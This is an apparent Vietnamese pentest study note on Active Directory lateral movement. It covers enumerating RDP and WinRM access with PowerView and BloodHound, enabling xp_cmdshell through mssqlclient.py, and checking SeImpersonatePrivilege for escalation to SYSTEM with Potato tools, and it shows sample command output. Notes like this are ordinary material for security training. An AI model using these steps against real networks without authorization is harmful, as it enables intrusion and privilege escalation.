Thông thường nếu attacker có quyền control của local admin user (hoặc normal user) trên một host nhất định và access qua RDP. Sử dụng PowerView với Get-NetLocalGroupMember để enumerate member của Remote Desktop Users group.
Với MemberName của group này là toàn bộ Domain Users có thể access remote tới máy tính này.
Checking the Domain Users Group's Local Admin & Execution Rights using BloodHound
Nếu attacker controll được user thông qua LLMNR/NBT-NS Response Spoofing hoặc Kerberoasting có thể search username trong BloodHound để check loại quyền remote access mà họ trực tiếp hay kế thừa thông qua group membership trong Execution Rights của Node Info tab.
WinRM
Tương tự RDP:
Enumerating the Remote Management Users Group
Có thể sử dụng Cypher query này trong BloodHound để search user.
Option enable_xp_cmdshell để bật xp_cmdshell stored procedure cho phép thực execute các system commands thông qua database nếu account đó có quyền.
Sau đó có thể chạy xp_cmdshell <command> để thực thi, từ đây có thể enumerate các quyền mà account có trên hệ thống, nếu có SeImpersonatePrivilege có thể tận dung với một số tools JuicyPotato, PrintSpoofer hoặc RoguePotato để escalate lên SYSTEM level.
mssqlclient.py domain/user@<target MSSQL server IP> -windows-auth
xp_cmdshell whoami /priv
output
--------------------------------------------------------------------------------
NULL
PRIVILEGES INFORMATION
----------------------
NULL
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
NULL